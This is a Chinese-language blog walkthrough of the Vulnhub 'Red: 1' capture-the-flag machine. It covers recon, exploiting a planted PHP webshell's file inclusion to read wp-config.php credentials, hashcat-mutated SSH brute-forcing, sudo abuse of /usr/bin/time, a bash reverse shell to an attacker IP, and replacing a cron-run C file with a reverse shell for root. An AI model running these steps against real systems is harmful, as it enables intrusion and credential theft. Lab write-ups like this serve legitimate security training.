2021-12-06 23:02阅读: 2022评论: 3推荐: 0

Vulnhub 靶场 Red: 1

前期准备:

Reb:1 靶机下载地址:https://www.vulnhub.com/entry/red-1,753/

kali攻击机地址:10.0.2.7
靶机地址:10.0.2.9

一、信息收集

1.使用 nmap 对靶机进行端口扫描

nmap -p 1-65535 -A -sV 10.0.2.9

image

发现开放了22和80端口。访问一下80端口:

image

2.收集页面信息

发现是个 Wordpress 网站,但是没有正确解析,点击 Hello Blue 发现无法访问

image

并且返回 redrocks.win 的域名,并且源码中也发现了 redrocks.win 的主机名:

image

将其添加到主机文件中:

image

再次访问:

image

二、 Blue 夺回 root

1.查找后门

根据页面信息看到网站已经被入侵,并且提到有后门,看了其他的地方暂时也没发现什么,那就先看一下后门,因为 WordPress 在 Apache PHP 上运行。所以应该是 php 后门,用目录扫描看看能不能扫出疑似后门的文件,所以用 SecLists 里的 CommonBackdoors-PHP.fuzz.txt 扫。
下载地址:https://github.com/danielmiessler/SecLists

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir80.txt -z

image

发现可疑文件 NetworkFileManagerPHP.php:

image

搜索了一下发现是个 webshell 后门,扫描结果状态码是 500,这个脚本可能存在 LFI ,使用 wfuzz 测试一下参数:

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

image

发现key参数返回200,那就使用key参数测试一下:

image

测试成功。说明有文件包含。那接下来查看一下 NetworkFileManagerPHP.php 文件:

image

解码得:

image

<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>

对注释解码:

image

That password alone won't help you! Hashcat says rules are rules
仅凭那个密码对您没有帮助! Hashcat 说规则就是规则

2.破解密码

提到了密码、Hashcat 和规则。由于它是 base64 编码的,我们可以假设 Red 在谈论 Hashcat 的 Best64 规则为密码突变,想到的这里大概能获取 wp-config 文件,里面有数据库的密码:

image

base64解码一下:

<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'john' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define('FS_METHOD', 'direct');
define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY', '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY', ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT', 'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT', '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT', 'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

'DB_USER', 'john'
'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!'

用户名是john,前面查看 /etc/passwd 文件时发现也有john用户,那就用这个用户登录 ssh:

image

将密码保存到文件中,然后用 hashcat 规则破解:

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

image

使用解出来的密码本进行ssh爆破:

image

得到了密码 R3v_m4lwh3r3_k1nG!!6

3.ssh登录

image

登陆成功。查看一下文件:

家目录下发现一个 note_from_red.txt,查看时发现 cat 命令成了 vi,vi 命令成了 cat:

image

提示也说了 cat 命令有问题。查看一下权限:

image

发现会以 ippsec 用户 执行 /usr/bin/time:

image

尝试用 time 提权:

image

提权成 ippsec 用户:

sudo -u ippsec /usr/bin/time /bin/bash

image

切换成功,查看目录发现正准备下一步时 ssh 连接被断开了:

image

被踢出来了,再次尝试登录发现密码变了,还需要再次爆破,联想刚才 ssh 连接断开,这次进去创建个反弹 shell,

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.0.2.7/1234 0>&1'

在靶机上创建一个shell.sh,并运行,kali上开启监听:

image

shell 连接成功,升级一下 shell

1. 在 /dev/shm 目录中创建一个反向 shell bash 脚本
2. 在 kali 上运行 `nc -lvvp 1234` 和 执行 shell 脚本
3. `python3 -c 'import pty;pty.spawn("/bin/bash")'`
4. `export TERM=xterm` 然后 Ctrl+Z 退出来一下
5. `stty raw -echo;fg` 回车后输入 reset 再回车

image

三、提权

虽然 Red team 的信息还在弹,但是已经不会被断开连接了。下载并运行 pspy64s 检查,看看系统在跑哪些进程。下载pspy64s,赋权并运行:

image

image

这应该是他对系统的后门,查看一下这个 supersecretfileuc.c 文件:

image

image

发现是定时弹出的脚本,可以上传一个 C 编写 shell,替代 supersecretfileuc.c 文件,然后等待 shell 连接:

先删除 /var/www/wordpress/.git/supersecretfileuc.c 和 rev 文件:

image

写入 C 编写的 shell 替换掉原来的 supersecretfileuc.c,kali 上开启 http 服务上传:

image

稍作改动: execve("sh", argv, NULL); 改成 execve("/bin/bash", argv, NULL);

image

靶机获取文件:

wget http://10.0.2.7:8000/supersecretfileuc.c

image

上传成功,nc 监听:

image

等了一会,nc 连接成功,获取到 root 权限,查看 flag:

image

完成。

posted @   sainet  阅读(2022)  评论(3编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起